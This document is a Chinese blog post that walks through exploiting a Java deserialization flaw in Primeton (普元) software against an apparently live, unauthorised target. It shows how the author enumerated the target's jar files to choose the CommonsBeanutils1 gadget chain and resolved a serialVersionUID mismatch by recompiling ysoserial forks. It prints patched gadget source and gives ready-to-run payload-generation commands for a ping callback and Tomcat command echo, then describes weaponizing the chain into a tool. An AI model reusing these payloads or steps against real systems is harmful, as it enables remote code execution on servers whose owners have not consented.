普元反序列化漏洞复现探究以及ysoserial各种工具编译鉴赏


漏洞复现背景

前几天翻公众号微步发布通告 https://mp.weixin.qq.com/s/DutoC4yeO6_GrzhkZukV0Q 说普元存在代码执行漏洞。这时候我看群里和某些小密圈里面poc 都流出来了。一看poc一看就是java反序列化漏洞。那么说到这个。我们需要知道如何构造使用工具java反序列化漏洞利用链。并且得知道这个普元的版本漏洞的版本号是多少我们才可以自定义我们的poc exp 。从而达到攻击的目的。

使用别人的exp进行攻击

我们使用别人的exp打一下确定测试站。截图如下:由于为实战环境所以铭感信息都打码。poc url我就不打码了。这个当然是之前的不过都一样。主要的是遇到java反序列化,我们如何找到利用链构造属于我们自己的exp。这是关键
别人的exp测试
通过上面的exp我们确定这个网站存在漏洞。那么我们如何确定链的我们知道java反序列化漏洞需要依赖 jdk和第三方jar包。那么我们就看看这个网站有哪些jar不就行了。
利用他的poc帮助我们找jar 。apache-tomcat-7.0.54\webapps\default\WEB-INF\lib 至于为啥是这个路径这得需要对java项目比较熟悉。这里我就不做介绍了。大家可以自行补充。
jar包截图
我们把这些jar包过滤出来找我们需要的

activation-1.1.jar
alicloudcli.jar
ant-1.6.1.jar
antisamy-1.5.3.jar
antlr-2.7.6.jar
aopalliance-1.0.jar
asm-1.5.3.jar
axiom-api-1.2.5.jar
axiom-dom-1.2.5.jar
axiom-impl-1.2.5.jar
axis2-adb-1.3.jar
axis2-codegen-1.3.jar
axis2-kernel-1.3.jar
backport-util-concurrent-2.2.jar
batik-anim.jar
batik-awt-util.jar
batik-bridge.jar
batik-codec.jar
batik-css-1.6.1.jar
batik-css.jar
batik-dom.jar
batik-ext.jar
batik-extension.jar
batik-gui-util.jar
batik-gvt.jar
batik-parser.jar
batik-script.jar
batik-svg-dom.jar
batik-svggen.jar
batik-swing.jar
batik-transcoder.jar
batik-util-1.6.1.jar
batik-util.jar
batik-xml.jar
bcprov-jdk15-1.41.0.jar
bfs_client-0.x.jar
bfs_client_eos-0.x.jar
bfs_common-0.x.jar
bfs_console-0.x.jar
bfs_engineall-0.x.jar
bfs_interface-0.x.jar
bps-integration-7.0.1.0.jar
bps-server-7.0.1.0.jar
bps-taglib4j-7.0.1.0.jar
bps-taskcenter-adapter-7.0.1.0.jar
c3p0-0.9.0.jar
cglib-2.1.3.jar
com.primeton.bps.web.control-7.0.1.0.jar
com.primeton.components.bpff.base-3.0.1.jar
com.primeton.components.rest-3.0.1.jar
com.primeton.components.taskcenter.retry-3.0.6.jar
com.primeton.components.taskcenter.rif.client-3.0.6.jar
com.primeton.components.taskcenter.rif.client.ext-3.0.6.jar
com.primeton.components.taskcenter.rif.server-3.0.6.jar
com.primeton.components.taskcenter.rpf-3.0.6.jar
commons-beanutils-1.6.1.jar
commons-codec-1.2.jar
commons-codec-1.3.jar
commons-collections-3.2.jar
commons-collections4-4.1.jar
commons-compress-1.12.jar
commons-configuration-1.3.jar
commons-dbcp-1.3.jar
commons-digester-1.8.jar
commons-email-1.1.jar
commons-fileupload-1.1.1.jar
commons-fileupload-1.2.1.jar
commons-httpclient-3.0.jar
commons-io-1.3.jar
commons-io-1.4.jar
commons-jexl-1.1.1.jar
commons-jxpath-1.2.jar
commons-lang-2.1.jar
commons-logging-1.0.4.jar
commons-math-1.0.jar
commons-pool-1.2.jar
commons-pool.jar
commons-vfs-1.0.jar
core4wl.jar
cos-0.x.jar
datalogic.jar
datastaxcli.jar
datetimeformat.jar
dm.jar
dmgraph.jar
dm_report.jar
dom4j-1.6.1.jar
ecj-4.2.1.jar
eigenbase-properties-1.1.0.jar
eigenbase-resgen-1.3.0.jar
eigenbase-xom-1.3.0.jar
eos-server-access-7.1.4.0.jar
eos-server-access-ejb-7.1.4.0.jar
eos-server-common-7.1.4.0.jar
eos-server-das-7.1.4.0.jar
eos-server-data-7.1.4.0.jar
eos-server-engine-7.1.4.0.jar
eos-server-runtime-7.1.4.0.jar
eos-server-sca-7.1.4.0.jar
eos-server-spring-7.1.4.0.jar
eos-server-system-7.1.4.0.jar
EOS3Encode.jar
excel2007.jar
excelcli.jar
fastjson-1.2.5.jar
fileupload-progress-0.x.jar
ftpcli.jar
geronimo-commonj_1.1_spec-1.0.jar
geronimo-stax-api_1.0_spec-1.0.jar
guide.jar
hbasecli.jar
hdfsfilecli.jar
hessian-jdk1.4-3.0.20.jar
hivecli.jar
htmlparser-1.6.jar
httpclient-4.2.5.jar
httpcore-4.2.4.jar
icu4j_3_4_5.jar
itext2_rq.jar
itext5-itextpdf-5.5.11.jar
jackson-core-asl-1.9.12.jar
jackson-jaxrs-1.9.12.jar
jackson-mapper-asl-1.9.12.jar
jackson-xc-1.9.12.jar
jai_codec.jar
jai_core.jar
javassist-3.3.jar
javax.ejb-2.1.jar
javax.jms-1.1.jar
javax.transaction-0.x.jar
jaxb-api-2.1.jar
jaxb-impl-2.1.4.jar
jaxb2-reflection-2.1.4.jar
jaxen-1.1.1.jar
jaxrs-api-3.0.1.jar
jaxws-api-2.1.jar
jdom-1.0.jar
jdom.jar
jettison-1.0.jar
js-1.7R2.jar
js.jar
jsobject.jar
json.jar
json_simple-1.1.jar
jsr181-api-1.0.jar
jsr250-api-1.0.jar
junit-4.10.jar
jxl.jar
jxls-core-0.9.6.jar
log4j-1.2.8.jar
log4j-over-slf4j-1.7.6.jar
mail-1.3.jar
mail.jar
mex-impl-1.3.jar
mondrian-3.3.0.jar
mx4j-tools-3.0.2.jar
neethi-2.0.2.jar
nekohtml-1.9.7.jar
numformat.jar
ognl-2.6.9.jar
olap4j-1.0.0.jar
olap4jcli.jar
org.eclipse.emf.common-2.2.1.jar
org.eclipse.emf.ecore-2.2.1.jar
org.eclipse.emf.ecore.xmi-2.2.1.jar
org.eclipse.xsd-2.2.1.jar
org.gocom.bps.web.bizform-3.0.1.jar
org.gocom.bps.web.bizform.components-3.0.1.jar
org.gocom.components.bpff.control-3.0.1.jar
org.gocom.components.taskcenter-3.0.6.jar
pdf-transcoder.jar
poi-3.16.jar
poi-excelant-3.16.jar
poi-ooxml-3.16.jar
poi-ooxml-schemas-3.16.jar
poi-scratchpad-3.16.jar
poi2.jar
ptp-server-commons-5.1.4.0.jar
ptp-server-das-5.1.4.0.jar
ptp-server-data-5.1.4.0.jar
ptp-server-datacontext-5.1.4.0.jar
ptp-server-deploy-5.1.4.0.jar
ptp-server-engine-5.1.4.0.jar
ptp-server-jdbc-5.1.4.0.jar
ptp-server-l7e-5.1.4.0.jar
ptp-server-runtime-5.1.4.0.jar
ptp-server-scriptengine-5.1.4.0.jar
ptp-server-spring-5.1.4.0.jar
ptp-server-spring4das-5.1.4.0.jar
ptp-server-statistic-5.1.4.0.jar
ptp-server-wsclient-5.1.4.0.jar
Qrcode_swetake.jar
quartz-1.5.2.jar
rampart-core-1.3.jar
rampart-policy-1.3.jar
rampart-trust-1.3.jar
raqsoftReport.jar
rediscli.jar
report4.jar
report5StaticHtml.jar
resteasy-client-3.0.1.jar
resteasy-jackson-provider-3.0.1.jar
resteasy-jaxrs-3.0.1.jar
resteasy-multipart-provider-3.0.1.jar
sac-1.3.jar
sapcli.jar
sca-api-1.0.jar
sdo-api-2.1.0.jar
slf4j-api-1.7.6.jar
snmp4j-2.3.1.jar
soap-api-1.3.0.jar
sparkcli.jar
spring-aop-3.2.17.RELEASE.jar
spring-beans-3.2.17.RELEASE.jar
spring-context-3.2.17.RELEASE.jar
spring-core-3.2.17.RELEASE.jar
spring-expression-3.2.17.RELEASE.jar
spring-jdbc-3.2.17.RELEASE.jar
spring-jms-3.2.17.RELEASE.jar
spring-tx-3.2.17.RELEASE.jar
sso-client-java-7.0.2.jar
sso-proxy-7.0.2.jar
stax-api-1.0.1.jar
substance-7.2.1.jar
webservicecli.jar
webutil.jar
wsdl4j-1.6.2.jar
wss4j-1.5.3.jar
xalan-2.5.0.jar
xalan-2.6.0.jar
xercesImpl-2.8.1.jar
xercesImpl.jar
xml-apis-1.2.01.jar
xml-apis-ext.jar
xml-apis.jar
xmlbeans-2.3.0.jar
xmlbeans-2.6.0.jar
XmlSchema-1.3.2.jar
xmlsec-1.4.0.jar
xmlworker-5.5.6.jar
xstream-1.2.2.jar
zxing_core.jar

从上面的jar包我们知道 commons-collections commons-beanutils 在加上之前的我们可以猜出。使用的应该是org.apache.commons.beanutils.BeanComparator commons-beanutils 。所以我们就有目标了直接使用commons-beanutils 进行构造。

java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsBeanutils1 -a raw_cmd:”ping xxxx” –dirt-data-length 400000 >curl4.cer

打失败了
看一下回显我去没有难倒是不出网没漏洞不可能
看回显
我们这个时候要看一个关键报错点 serialVersionUID 这个是反序列化的时候必须要带的点。那我们可以推断出来是不是 目标版本和我们工具的版本不一样导致的这种问题。

serialVersionUID = -2044202215314119608, local class serialVersionUID = 2573799559215537819u

转变思路我们使用maven重新编译一下 下载源代码
https://github.com/woodpecker-framework/ysoserial-for-woodpecker

使用mvn编译报错如下:

[ERROR] Unknown lifecycle phase "mvn". You must specify a valid lifecycle phase or a goal in the format <plugin-prefix>:<goal> or <plugin-group-id>:<plugin-artifact-id>[:<plugin-version>]:<goal>. Available lifecycle phases are: validate, initialize, generate-sources, process-sources, generate-resources, process-resources, compile, process-classes, generate-test-sources, process-test-sources, generate-test-resources, process-test-resources, test-compile, process-test-classes, test, prepare-package, package, pre-integration-test, integration-test, post-integration-test, verify, install, deploy, pre-clean, clean, post-clean, pre-site, site, post-site, site-deploy. -> [Help 1]
org.apache.maven.lifecycle.LifecyclePhaseNotFoundException: Unknown lifecycle phase "mvn". You must specify a valid lifecycle phase or a goal in the format <plugin-prefix>:<goal> or <plugin-group-id>:<plugin-artifact-id>[:<plugin-version>]:<goal>. Available lifecycle phases are: validate, initialize, generate-sources, process-sources, generate-resources, process-resources, compile, process-classes, generate-test-sources, process-test-sources, generate-test-resources, process-test-resources, test-compile, process-test-classes, test, prepare-package, package, pre-integration-test, integration-test, post-integration-test, verify, install, deploy, pre-clean, clean, post-clean, pre-site, site, post-site, site-deploy.

我们修改一下pom.xml文件

<build>
  <defaultGoal>compile</defaultGoal>
	<plugins>
		<plugin>
			<groupId>org.apache.maven.plugins</groupId>
			<artifactId>maven-compiler-plugin</artifactId>
			<version>3.5.1</version>
			<configuration>
				<!-- maximize compatibility -->
				<source>1.5</source>
				<target>1.5</target>
				<!-- ignore noisy internal api warnings -->
                   <compilerArgument>-XDignore.symbol.file</compilerArgument>
                   <fork>true</fork>
               </configuration>
		</plugin>
		<plugin>
			<artifactId>maven-assembly-plugin</artifactId>
			<configuration>
				<finalName>${project.artifactId}-${project.version}-all</finalName>
				<appendAssemblyId>false</appendAssemblyId>
				<archive>
					<manifest>
						<mainClass>me.gv7.woodpecker.yso.GeneratePayload</mainClass>
					</manifest>
				</archive>
                   <descriptor>assembly.xml</descriptor>
               </configuration>
			<executions>
				<execution>
					<id>make-assembly</id>
					<phase>package</phase>
					<goals>
						<goal>assembly</goal>
					</goals>
				</execution>
			</executions>
		</plugin>
		<plugin>
	        <groupId>org.apache.maven.plugins</groupId>
	        <artifactId>maven-surefire-plugin</artifactId>
               <version>3.0.0-M1</version>
	        <configuration>
		        <trimStackTrace>false</trimStackTrace>
		        <systemPropertyVariables>
		        	<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
		        </systemPropertyVariables>
	        </configuration>
	    </plugin>
	</plugins>
	
	
</build>

加上这个这个是重点<defaultGoal>compile</defaultGoal>
修改依赖
mvn修改依赖
跳过测试编译(不会maven的去百度搜索一下maven配置设置本地 jar包库)
mvn clean package -DskipTests
编译成功
我们重新生成exp
java -jar ysoserial-for-woodpecker-0.5.3-all.jar -g CommonsBeanutils1 -a raw_cmd:”ping xxxx” –dirt-data-length 400000 >curl4.cer
打成功了
我们收到了请求打成功了现在重要的是我们是不是也可以生成一波回显。啥的我们在找到了一个工具那就是这个 su18大佬的工具
https://github.com/peiqiF4ck/ysoserial
修改jar包配置并且编译。
修改jar包配置
build 成功我们使用这个来生成exp
build成功
java -jar ysuserial-1.5-su18-all.jar -g CommonsBeanutils1 -p “EX-TomcatEcho” -ch “su18” -dt 3 -dl 400000 >su18.bin
ok直接一发入魂
复现完毕
后来有尝试了几款工具。这两款工具里面的CommonsBeanutils1.java里面的代码都被改了只适用于高版本的CommonsBeanutils 。如果想用我们需要改改里面的代码

https://github.com/qi4L/JYso (这个修改代码不可以使用并且和作者讨论了一下这个项目中代码存在bug。低版本的即使修改代码也很难使用另外这个gradle不好编译等作者更新代码吧。后续我会写一波这个项目的编译方法。项目不错。作者格局很大。不知道作者修改什么了不兼容低版本的CommonsBeanutils。到时候代码修改了。我会写一篇文章专门编译这个因为这个gradle这个不好编译。我也是在这个项目上踩坑踩了至少2天哈哈哈一言难尽啊所以后续出教程不让你们踩坑)
https://github.com/Gary-yang1/JYso(这个修改代码可以直接使用,据说这是之前的这个项目https://github.com/qi4L/JYso的代码。)
我贴一下修改后的代码
修改部分

package com.qi4l.jndi.gadgets;

import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.GadgetsYso;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;

import java.util.PriorityQueue;
import java.math.BigInteger;

import static com.qi4l.jndi.Starter.JYsoMode;

@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.6.1"})
@Authors({Authors.FROHOFF})
public class commonsbeanutils1 implements ObjectPayload<Object> {

    public Object getObject(PayloadType type, String... param) throws Exception {
       // final Object template;
        /* if (JYsoMode.contains("yso")) {
            template = GadgetsYso.createTemplatesImpl(param[0]);
        } else {
            template = Gadgets.createTemplatesImpl(type, param);
        } */
		
		final Object template = GadgetsYso.createTemplatesImpl(param[0]);
       // final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final BeanComparator comparator = new BeanComparator("lowestSetBit");
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        /* queue.add("1");
        queue.add("1"); */
		queue.add(new BigInteger("1"));
		queue.add(new BigInteger("1"));

        Reflections.setFieldValue(comparator, "property", "outputProperties");
        Reflections.setFieldValue(queue, "queue", new Object[]{template, template});

        return queue;
    }
}

执行编译,然后进行测试。编译成功我们来测试
编译成功
java -jar JYso-3.5.7.jar -yso 1 -g CommonsBeanutils1 -p “EX-TomcatEcho” -ch “yso357” -dt 3 -dl 400000 >yso3577.bin
成功复现

自动化武器化

上述既然我们成功构造出payload那我们可以直接进行武器化集成到我们的工具里面。对这个漏洞进行检测。利用截图
利用截图

总结

后续等Jyso作者更新代码以后我将专门出一篇文章编译Jyso最新版本。后续在github中一类的项目都放到一块方便操作。


文章作者: peiqiF4ck
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 peiqiF4ck !
  目录